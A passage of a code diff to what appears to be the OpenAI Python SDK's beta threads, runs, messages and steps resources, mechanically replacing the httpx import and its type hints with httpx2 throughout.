@@ -4486,7 +4486,7 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**self.__websocket_connection_options,
)
- def _prepare_url(self) -> httpx.URL:
+ def _prepare_url(self) -> httpx2.URL:
if self.__client.websocket_base_url is not None:
base_url = normalize_httpx_url(self.__client.websocket_base_url)
else:
@@ -4931,7 +4931,7 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**self.__websocket_connection_options,
)
- def _prepare_url(self) -> httpx.URL:
+ def _prepare_url(self) -> httpx2.URL:
if self.__client.websocket_base_url is not None:
base_url = normalize_httpx_url(self.__client.websocket_base_url)
else:
diff --git a/src/openai/resources/beta/threads/messages.py b/src/openai/resources/beta/threads/messages.py
index c02e3191fd..66f57f9488 100644
--- a/src/openai/resources/beta/threads/messages.py
+++ b/src/openai/resources/beta/threads/messages.py
@@ -6,7 +6,7 @@
from typing import Union, Iterable, Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -64,7 +64,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Message:
"""
Create a message.
@@ -132,7 +132,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Message:
"""
Retrieve a message.
@@ -175,7 +175,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Message:
"""
Modifies a message.
@@ -229,7 +229,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[Message]:
"""
Returns a list of messages for a given thread.
@@ -298,7 +298,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> MessageDeleted:
"""
Deletes a message.
@@ -366,7 +366,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Message:
"""
Create a message.
@@ -434,7 +434,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Message:
"""
Retrieve a message.
@@ -477,7 +477,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Message:
"""
Modifies a message.
@@ -531,7 +531,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Message, AsyncCursorPage[Message]]:
"""
Returns a list of messages for a given thread.
@@ -600,7 +600,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> MessageDeleted:
"""
Deletes a message.
diff --git a/src/openai/resources/beta/threads/runs/runs.py b/src/openai/resources/beta/threads/runs/runs.py
index f1b00f8ede..5321b02c5a 100644
--- a/src/openai/resources/beta/threads/runs/runs.py
+++ b/src/openai/resources/beta/threads/runs/runs.py
@@ -7,7 +7,7 @@
from functools import partial
from typing_extensions import Literal, overload
-import httpx
+import httpx2
from ..... import _legacy_response
from .steps import (
@@ -115,7 +115,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Create a run.
@@ -266,7 +266,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[AssistantStreamEvent]:
"""
Create a run.
@@ -417,7 +417,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | Stream[AssistantStreamEvent]:
"""
Create a run.
@@ -568,7 +568,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | Stream[AssistantStreamEvent]:
if not thread_id:
raise ValueError(f"Expected a non-empty value for `thread_id` but received {thread_id!r}")
@@ -622,7 +622,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Retrieves a run.
@@ -665,7 +665,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Modifies a run.
@@ -718,7 +718,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[Run]:
"""
Returns a list of runs belonging to a thread.
@@ -784,7 +784,7 @@ def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Cancels a run that is `in_progress`.
@@ -843,7 +843,7 @@ def create_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Run:
"""
A helper to create a run an poll for a terminal state. More information on Run
@@ -913,7 +913,7 @@ def create_and_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandler]:
"""Create a Run stream"""
...
@@ -946,7 +946,7 @@ def create_and_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandlerT]:
"""Create a Run stream"""
...
@@ -978,7 +978,7 @@ def create_and_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandler] | AssistantStreamManager[AssistantEventHandlerT]:
"""Create a Run stream"""
if not thread_id:
@@ -1036,7 +1036,7 @@ def poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
poll_interval_ms: int | Omit = omit,
) -> Run:
"""
@@ -1102,7 +1102,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandler]:
"""Create a Run stream"""
...
@@ -1136,7 +1136,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandlerT]:
"""Create a Run stream"""
...
@@ -1169,7 +1169,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandler] | AssistantStreamManager[AssistantEventHandlerT]:
"""Create a Run stream"""
if not thread_id:
@@ -1234,7 +1234,7 @@ def submit_tool_outputs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
When a run has the `status: "requires_action"` and `required_action.type` is
@@ -1273,7 +1273,7 @@ def submit_tool_outputs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[AssistantStreamEvent]:
"""
When a run has the `status: "requires_action"` and `required_action.type` is
@@ -1312,7 +1312,7 @@ def submit_tool_outputs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | Stream[AssistantStreamEvent]:
"""
When a run has the `status: "requires_action"` and `required_action.type` is
@@ -1352,7 +1352,7 @@ def submit_tool_outputs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | Stream[AssistantStreamEvent]:
if not thread_id:
raise ValueError(f"Expected a non-empty value for `thread_id` but received {thread_id!r}")
@@ -1396,7 +1396,7 @@ def submit_tool_outputs_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Run:
"""
A helper to submit a tool output to a run and poll for a terminal run state.
@@ -1436,7 +1436,7 @@ def submit_tool_outputs_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandler]:
"""
Submit the tool outputs from a previous run and stream the run to a terminal
@@ -1459,7 +1459,7 @@ def submit_tool_outputs_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandlerT]:
"""
Submit the tool outputs from a previous run and stream the run to a terminal
@@ -1481,7 +1481,7 @@ def submit_tool_outputs_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandler] | AssistantStreamManager[AssistantEventHandlerT]:
"""
Submit the tool outputs from a previous run and stream the run to a terminal
@@ -1580,7 +1580,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Create a run.
@@ -1731,7 +1731,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[AssistantStreamEvent]:
"""
Create a run.
@@ -1882,7 +1882,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | AsyncStream[AssistantStreamEvent]:
"""
Create a run.
@@ -2034,7 +2034,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | AsyncStream[AssistantStreamEvent]:
if not thread_id:
raise ValueError(f"Expected a non-empty value for `thread_id` but received {thread_id!r}")
@@ -2088,7 +2088,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Retrieves a run.
@@ -2131,7 +2131,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Modifies a run.
@@ -2184,7 +2184,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Run, AsyncCursorPage[Run]]:
"""
Returns a list of runs belonging to a thread.
@@ -2250,7 +2250,7 @@ async def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Cancels a run that is `in_progress`.
@@ -2309,7 +2309,7 @@ async def create_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Run:
"""
A helper to create a run an poll for a terminal state. More information on Run
@@ -2378,7 +2378,7 @@ def create_and_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncAssistantStreamManager[AsyncAssistantEventHandler]:
"""Create a Run stream"""
...
@@ -2410,7 +2410,7 @@ def create_and_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncAssistantStreamManager[AsyncAssistantEventHandlerT]:
"""Create a Run stream"""
...
@@ -2441,7 +2441,7 @@ def create_and_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> (
AsyncAssistantStreamManager[AsyncAssistantEventHandler]
| AsyncAssistantStreamManager[AsyncAssistantEventHandlerT]
@@ -2500,7 +2500,7 @@ async def poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
poll_interval_ms: int | Omit = omit,
) -> Run:
"""
@@ -2565,7 +2565,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncAssistantStreamManager[AsyncAssistantEventHandler]:
"""Create a Run stream"""
...
@@ -2599,7 +2599,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncAssistantStreamManager[AsyncAssistantEventHandlerT]:
"""Create a Run stream"""
...
@@ -2632,7 +2632,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> (
AsyncAssistantStreamManager[AsyncAssistantEventHandler]
| AsyncAssistantStreamManager[AsyncAssistantEventHandlerT]
@@ -2699,7 +2699,7 @@ async def submit_tool_outputs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
When a run has the `status: "requires_action"` and `required_action.type` is
@@ -2738,7 +2738,7 @@ async def submit_tool_outputs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[AssistantStreamEvent]:
"""
When a run has the `status: "requires_action"` and `required_action.type` is
@@ -2777,7 +2777,7 @@ async def submit_tool_outputs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | AsyncStream[AssistantStreamEvent]:
"""
When a run has the `status: "requires_action"` and `required_action.type` is
@@ -2817,7 +2817,7 @@ async def submit_tool_outputs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | AsyncStream[AssistantStreamEvent]:
if not thread_id:
raise ValueError(f"Expected a non-empty value for `thread_id` but received {thread_id!r}")
@@ -2861,7 +2861,7 @@ async def submit_tool_outputs_and_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Run:
"""
A helper to submit a tool output to a run and poll for a terminal run state.
@@ -2901,7 +2901,7 @@ def submit_tool_outputs_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncAssistantStreamManager[AsyncAssistantEventHandler]:
"""
Submit the tool outputs from a previous run and stream the run to a terminal
@@ -2924,7 +2924,7 @@ def submit_tool_outputs_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncAssistantStreamManager[AsyncAssistantEventHandlerT]:
"""
Submit the tool outputs from a previous run and stream the run to a terminal
@@ -2946,7 +2946,7 @@ def submit_tool_outputs_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> (
AsyncAssistantStreamManager[AsyncAssistantEventHandler]
| AsyncAssistantStreamManager[AsyncAssistantEventHandlerT]
diff --git a/src/openai/resources/beta/threads/runs/steps.py b/src/openai/resources/beta/threads/runs/steps.py
index 56631966da..784c7f49b8 100644
--- a/src/openai/resources/beta/threads/runs/steps.py
+++ b/src/openai/resources/beta/threads/runs/steps.py
@@ -6,7 +6,7 @@
from typing import List
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -58,7 +58,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunStep:
"""
Retrieves a run step.
@@ -121,7 +121,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[RunStep]:
"""
Returns a list of run steps belonging to a run.
@@ -223,7 +223,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RunStep:
"""
Retrieves a run step.
@@ -286,7 +286,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[RunStep, AsyncCursorPage[RunStep]]:
"""
Returns a list of run steps belonging to a run.
diff --git a/src/openai/resources/beta/threads/threads.py b/src/openai/resources/beta/threads/threads.py
index 3932bd8789..8c568b19b4 100644
--- a/src/openai/resources/beta/threads/threads.py
+++ b/src/openai/resources/beta/threads/threads.py
@@ -7,7 +7,7 @@
from functools import partial
from typing_extensions import Literal, overload
-import httpx
+import httpx2
from .... import _legacy_response
from .messages import (
@@ -103,7 +103,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Thread:
"""
Create a thread.
@@ -163,7 +163,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Thread:
"""
Retrieves a thread.
@@ -204,7 +204,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Thread:
"""
Modifies a thread.
@@ -262,7 +262,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ThreadDeleted:
"""
Delete a thread.
@@ -317,7 +317,7 @@ def create_and_run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Create a thread and run it in one request.
@@ -451,7 +451,7 @@ def create_and_run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[AssistantStreamEvent]:
"""
Create a thread and run it in one request.
@@ -585,7 +585,7 @@ def create_and_run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | Stream[AssistantStreamEvent]:
"""
Create a thread and run it in one request.
@@ -720,7 +720,7 @@ def create_and_run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | Stream[AssistantStreamEvent]:
extra_headers = {"OpenAI-Beta": "assistants=v2", **(extra_headers or {})}
return self._post(
@@ -785,7 +785,7 @@ def create_and_run_poll(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Run:
"""
A helper to create a thread, start a run and then poll for a terminal state.
@@ -840,7 +840,7 @@ def create_and_run_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandler]:
"""Create a thread and stream the run back"""
...
@@ -870,7 +870,7 @@ def create_and_run_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandlerT]:
"""Create a thread and stream the run back"""
...
@@ -899,7 +899,7 @@ def create_and_run_stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AssistantStreamManager[AssistantEventHandler] | AssistantStreamManager[AssistantEventHandlerT]:
"""Create a thread and stream the run back"""
extra_headers = {
@@ -990,7 +990,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Thread:
"""
Create a thread.
@@ -1050,7 +1050,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Thread:
"""
Retrieves a thread.
@@ -1091,7 +1091,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Thread:
"""
Modifies a thread.
@@ -1149,7 +1149,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ThreadDeleted:
"""
Delete a thread.
@@ -1204,7 +1204,7 @@ async def create_and_run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run:
"""
Create a thread and run it in one request.
@@ -1338,7 +1338,7 @@ async def create_and_run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[AssistantStreamEvent]:
"""
Create a thread and run it in one request.
@@ -1472,7 +1472,7 @@ async def create_and_run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | AsyncStream[AssistantStreamEvent]:
"""
Create a thread and run it in one request.
@@ -1607,7 +1607,7 @@ async def create_and_run(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Run | AsyncStream[AssistantStreamEvent]:
extra_headers = {"OpenAI-Beta": "assistants=v2", **(extra_headers or {})}
return await self._post(
@@ -1672,7 +1672,7 @@ async def create_and_run_poll(
